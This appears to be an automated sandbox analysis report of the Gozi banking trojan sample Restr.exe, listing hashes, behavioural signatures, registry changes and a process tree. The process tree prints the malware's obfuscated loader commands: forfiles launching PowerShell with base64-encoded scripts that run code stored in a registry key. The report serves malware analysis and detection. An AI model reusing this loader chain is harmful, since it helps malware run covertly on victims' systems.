Analysis
-
max time kernel
138s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20220310-en -
submitted
15-03-2022 07:24
Static task
static1
Behavioral task
behavioral1
Sample
Restr.exe
Resource
win7-20220311-en
General
-
Target
Restr.exe
-
Size
252KB
-
MD5
16959900ff34c0ba60fe2a4d9f1242c5
-
SHA1
888148f1b31355192e26ea4fc97c91f4c4defe9e
-
SHA256
0f4395c5cdee1c9fe28ef9a63355594f0f7a23aa41e52b8085a0bda8715da13f
-
SHA512
a2b7a74fdc6525c5b8ecafc66706136e1e3996e28ebb3b1d8e236b120e59f8c4e85165f385365d706a8391ae2a5f30530a086c7820e26d1a6cd2f19a44da5d54
Malware Config
Extracted
gozi_rm3
-
build
300994
Signatures
-
Uses Tor communications 1 TTPs
Malware can proxy its traffic through Tor for more anonymity.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1224 4104 WerFault.exe Restr.exe -
Processes:
IEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEiexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009521245b68481d44b7c4b8cf21a171b600000000020000000000106600000001000020000000a5e7366ad98a250a622ef78dbb43b871080b4c72ca92a2653e990cc1eacce429000000000e8000000002000020000000cdab38de3e5895af19090244b9293a1f89573a58ec77cbf692a49c30503c1526c0000000f07412935dbfafce97f7f6290e569d60ccd2f3bfb0289d908a315016c9928bc4687967c4d9e10eadfd7bbc02cf069c38dcfca9bc6f9bfc69c86b52268e4202c39e2a0bb0a29324b4668eb9c750c73e51b4b33a854db31a5c9bf30f0b3ed5e543b23c004cd4f113de65c345b13cc004ccf52650a072a1e49c6378715b711271680721a6ecc0a3be84c06dd9e33d07b899a20bbaa34a84c9dfabc1372c54ce84e2d21f08ec27d400bfcca6b0d13262ec56d53e553dec2c1af0203ecd63c74f480140000000e14f522f5869c2b466d4d27af468692729d4aae77f4117cb26a8d77b7c6f3eafde0e8e2ba50cdfe99a1b457725ea00598a3190b0d0d5878c69af3996ca6fa8bf iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009521245b68481d44b7c4b8cf21a171b60000000002000000000010660000000100002000000044c48119f9b6de8ee7e972740e5def4b2e64020912c925a9692e9984b66996b7000000000e80000000020000200000004e22fab96d2244e7d64043d965eb00e172d12958520b379f3f9301b973b20c28c00000008b824bd61abacba1258350299d9f0a9651dbe303495bcddb1ae42dded6caab6c79e4fd171112cf3c09909b7c53fec9fe0ddffc206b3dae80a47cc2e839fa29e91854390a8e62f8813c46371d10e80e714a9fb1a016d3d1a7d977e463af4b23eae8b16dc4e111a78b8b3adc3c1c088815c2fcb6d384b513d100ed689384899b978e0afb6ee90aad630bc382e74912b63b615fc3306edd6f932fe374de068bed4db8e7c4b4473ff8b6ea1c0644e30b7b7cfb128e1b69ab65d8ddd6ccb48aad895e40000000aeb14c94dac3ae8e82f9c569c6d9ff7ab0d33daeb5d245a008bc0740cde9fde5509615fc1e5b0acbee17d1c72c7b5d8500bf1267c7b1eff56e6c2462960f56bd iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5800000000000000de04000065020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009521245b68481d44b7c4b8cf21a171b6000000000200000000001066000000010000200000009aafcfb8ce6117f9b876193a8c9a3389f19ee682d48aaecf3c70490323885038000000000e80000000020000200000005e7caa788a823072becfcf18acd2d4485b947cddbbef55a5d36400c1eac06c5bc00000003d5c05bb9f3ca37e02c942fff432be83dc763599a4d7d018dca99e02c003e699977f999f7fbcd7001ea65d645804eab837c59a68a780dc2eca5b4d031aef28ae83be79b574814bb760b5aaa1b3d820ebe74d84c5d636dc72b7e80b964a6ba6a58cf5b044a229d4411d0502aac236ca8def91f6481803be5a5ff37f62db3d323ca0a97c5eeae51f2654ec55a6bd555bda3b08de7f8e0ad9f117f0dbfec8be3d907b08824c1b1ab2be8ba4e3dcfa3a0703872638c68afcf690f0ebe90c99000bfc400000008de5db8ad43b107c376dc23868bc33ddbd8f488f60c553bc341dd248ff3c470c4c648421dbd1449289709b875b0ed0cc9686b01f07320297231652b089f3ea5f iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009521245b68481d44b7c4b8cf21a171b60000000002000000000010660000000100002000000068acb49a7ca824975045a0bdef04b74522b0e854c83ed1022a556d6ab4c898e3000000000e8000000002000020000000dc996777e850aa62ae606667e8ff60765561cdf782edab37f46d4f2d650c9039c000000040a72053a1b34a63b0202929bf53d83d4c2798a183633fa77f585cd7f101ba7d62dd1d59e3d298d19080671fb24ef97a47e783a1752af1ec775d8ad0dfeff2e0d128b67f214a365687f2789c3eb9df0db723a6d45409422d41770baf996a5c51a3538866bd29f7ca0cc4781ebb3d8bbd8f5d9aacfc2f75ed1c08958b9e9cd3d30e3cc1ddffd319787eb8f34b306e06d6082be618be9fcef7221e7471d15fdc146921e7cd034865f1b293125137d7d948940a47271610e83c08ac2006ca9fe082400000009fbba3f44344568a338a373e150868d388b2581a45e6c48633178725cbf79245c690e218a4196e7e026eb33df3f3dfc5522fe8682c8636a516e3456825a1cb7f iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009521245b68481d44b7c4b8cf21a171b600000000020000000000106600000001000020000000ba210254f78f03869d06858b7b3e752cfd6c0719a777410e00ae45cde5c14a2c000000000e8000000002000020000000b2cf1e0f23837bbd61937dd8310e2468a46b0cf930daed9128d94cef782d505b200000002715ce0ec2919d1a0747c412d4eb2dc340a7178722e55bebedd5a2c6c314ffbc40000000949f791712220887bad279731de3cd466923e2a6b2e4097a1e06b406761c1f6d8e6899ff7f389a0e7c51d86d9bca7a41783add68f856048c246d38b77244c78a iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff720000001a000000f80400007f020000 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff4e00000000000000d404000065020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009521245b68481d44b7c4b8cf21a171b600000000020000000000106600000001000020000000db92f53086d89a6926bef66e80674e1609ec5d9a9fad402b2bc9b2b3566e22ae000000000e8000000002000020000000f1c99b6cf65d67b33bf83cd6a10609499401a4142d5a7dd081f1e260ce5d84bec0000000d22f9f9725ee2dd997b66d78a47eacbe112fd0024f2395ff6b99032cac31b7365f2a2096343a6284e78d81e0e2e08dc03f8c5f356e643f0a232687074348276b506fa7f70a71057ddacf51cba2a0e3350b2cd026ba414e804bd4203c771dc7c860892e6fb1f898a5df31b2c044bd40e7a2855f942c7ea11aeb14934be3852e12cc7695ebfbca3ba4d6c0ccaf06389aadca5d53e25b9b5550c9ad64ff435b97fe17e2f33a67586dcdf0b347a2d2466eeea650720e2ed87046e5f9c709fda02bd840000000c1f537651b57201c5cf391d2ce02d669015b1658170ad24c7bd9fe8905ecf279c65e4dcab6fd0049ba1d2f663ac8212cd2b25b2bc64182c959061e53a36ce9e8 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009521245b68481d44b7c4b8cf21a171b600000000020000000000106600000001000020000000603c03c88231341ce368558d9fc7383bc4d8624145241c40979f87c679c981c0000000000e8000000002000020000000b1c08b1f35fd26bb6130795eb6c942f1ac92bbed07d735a33df5d1b0923ffa13c000000024a803c0410ad6cc6ba580c6f106ca5e89028329e92c6286bfcaa8b67f4bd8dbe77ec42fe4cfb7c0c4dec00031fd59109a571b0b5cb05e1b7d083e527a7874e64bb3c1e651ddff74c92639bd6ec62e63f0b27d5b13a795e6533bc7f26ec7e3cf77b1e19aabeb5c56810c35beef913dc66dc58a6e4bf20c099163dc5bce75f4ef97a356ca70cb29bd35389d65d7cac2cf0186578bd5ec319cac5104ae19255b964f4b5483672501d7c015071db69a4c96a9f0b932b67aabb82d88f30a64ba01fc400000006e9670fed7447b1a3491ce7ca0f0e11d1e87a5aceadb7c3da8e7a2d1dfe674876694742682f2f201dd2204be7b60d6f3ffc41eab16675e726a1a6acc5adc317a iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "887910015" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "887910015" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009521245b68481d44b7c4b8cf21a171b6000000000200000000001066000000010000200000006b83c848cf3e571114ccbe9d9338124ac737457d798e5a7c7b902434cda83797000000000e8000000002000020000000d1dc39dee58722767edcc443360da6aa8fd3b7c10bb56393a3eb5b0d92e977b6c00000009fb9508175c3275a28eca762f7abf350e4da4a9c2b4c4c769aae56c0f0f238cc5f300fcc102d4cf9a03f93d300d6bc104fc96d4ce18f71475df4a56f51c1e3a6579647ff86bd53384d8baa6f1e3b2d3afbcb530de85c989460123248038e4a656b11aba29044fb9dc4b7ba1f16f20295d5caab645752a00456880897de11744d5b505dbad99d6a90c60c39cff7d2aa9fb34ba52616915a1dbac6a18585a5cdad7f57a4ee7db08454af3b04656c9db03bacc95268c93f72a702e2a67d3aba449640000000513702e0a76214731eb9624b78365ce962eaebfc3cceb4badd9a0cecedf973930d942df74fa87b9cfdb331b769af2eabe788fef1b338652020448ea1ac397fc1 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{6050D300-A439-11EC-B9E2-DEBD9A810609} = "0" iexplore.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 4624 powershell.exe 4624 powershell.exe 3716 powershell.exe 3716 powershell.exe 228 powershell.exe 228 powershell.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
powershell.exeRestr.exepid process 4624 powershell.exe 4104 Restr.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4624 powershell.exe Token: SeDebugPrivilege 3716 powershell.exe Token: SeDebugPrivilege 228 powershell.exe -
Suspicious use of FindShellTrayWindow 11 IoCs
Processes:
iexplore.exepid process 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe 4760 iexplore.exe -
Suspicious use of SetWindowsHookEx 44 IoCs
Processes:
iexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEpid process 4760 iexplore.exe 4760 iexplore.exe 4636 IEXPLORE.EXE 4636 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 2500 IEXPLORE.EXE 2500 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 856 IEXPLORE.EXE 856 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 3212 IEXPLORE.EXE 3212 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 4152 IEXPLORE.EXE 4152 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 1148 IEXPLORE.EXE 1148 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 2448 IEXPLORE.EXE 2448 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 4460 IEXPLORE.EXE 4460 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 3216 IEXPLORE.EXE 3216 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 3616 IEXPLORE.EXE 3616 IEXPLORE.EXE 4760 iexplore.exe 4760 iexplore.exe 2372 IEXPLORE.EXE 2372 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 53 IoCs
Processes:
iexplore.execmd.exeforfiles.execmd.exepowershell.execsc.execsc.exeRestr.exedescription pid process target process PID 4760 wrote to memory of 4636 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 4636 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 4636 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2500 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2500 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2500 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 856 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 856 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 856 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3212 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3212 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3212 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 4152 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 4152 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 4152 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 1148 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 1148 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 1148 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2448 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2448 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2448 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 4460 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 4460 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 4460 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3216 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3216 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3216 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3616 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3616 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 3616 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2372 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2372 4760 iexplore.exe IEXPLORE.EXE PID 4760 wrote to memory of 2372 4760 iexplore.exe IEXPLORE.EXE PID 1412 wrote to memory of 4952 1412 cmd.exe forfiles.exe PID 1412 wrote to memory of 4952 1412 cmd.exe forfiles.exe PID 4952 wrote to memory of 2956 4952 forfiles.exe cmd.exe PID 4952 wrote to memory of 2956 4952 forfiles.exe cmd.exe PID 2956 wrote to memory of 4624 2956 cmd.exe powershell.exe PID 2956 wrote to memory of 4624 2956 cmd.exe powershell.exe PID 4624 wrote to memory of 3716 4624 powershell.exe powershell.exe PID 4624 wrote to memory of 3716 4624 powershell.exe powershell.exe PID 4624 wrote to memory of 228 4624 powershell.exe powershell.exe PID 4624 wrote to memory of 228 4624 powershell.exe powershell.exe PID 4624 wrote to memory of 988 4624 powershell.exe csc.exe PID 4624 wrote to memory of 988 4624 powershell.exe csc.exe PID 988 wrote to memory of 4764 988 csc.exe cvtres.exe PID 988 wrote to memory of 4764 988 csc.exe cvtres.exe PID 4624 wrote to memory of 4468 4624 powershell.exe csc.exe PID 4624 wrote to memory of 4468 4624 powershell.exe csc.exe PID 4468 wrote to memory of 3232 4468 csc.exe cvtres.exe PID 4468 wrote to memory of 3232 4468 csc.exe cvtres.exe PID 4624 wrote to memory of 2996 4624 powershell.exe Explorer.EXE PID 4104 wrote to memory of 2996 4104 Restr.exe Explorer.EXE
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2996
-
C:\Users\Admin\AppData\Local\Temp\Restr.exe"C:\Users\Admin\AppData\Local\Temp\Restr.exe"2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4104 -s 6843⤵
- Program crash
PID:1224 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBhAGMAYwBvAG4AJwApAC4ATQA= & exit" /p C:\Windows\system32 /s /m po*l.e*e2⤵
- Suspicious use of WriteProcessMemory
PID:1412 -
C:\Windows\system32\forfiles.exeforfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBhAGMAYwBvAG4AJwApAC4ATQA= & exit" /p C:\Windows\system32 /s /m po*l.e*e3⤵
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\system32\cmd.exe/k "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBhAGMAYwBvAG4AJwApAC4ATQA= & exit4⤵
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBhAGMAYwBvAG4AJwApAC4ATQA=5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4624 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JwBwAGEAcgBhAG0AKAAkAG8AdgB0AHMAbAB5ACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABvAHYAdABzAGwAeQApACcA6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3716 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JwBwAGEAcgBhAG0AKAAkAHAAYgBmAG0AYwBnAHQAcwB1AGYAbQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAYgBmAG0AYwBnAHQAcwB1AGYAbQApACcA6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:228 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ghia3nh3\ghia3nh3.cmdline"6⤵
- Suspicious use of WriteProcessMemory
PID:988 -
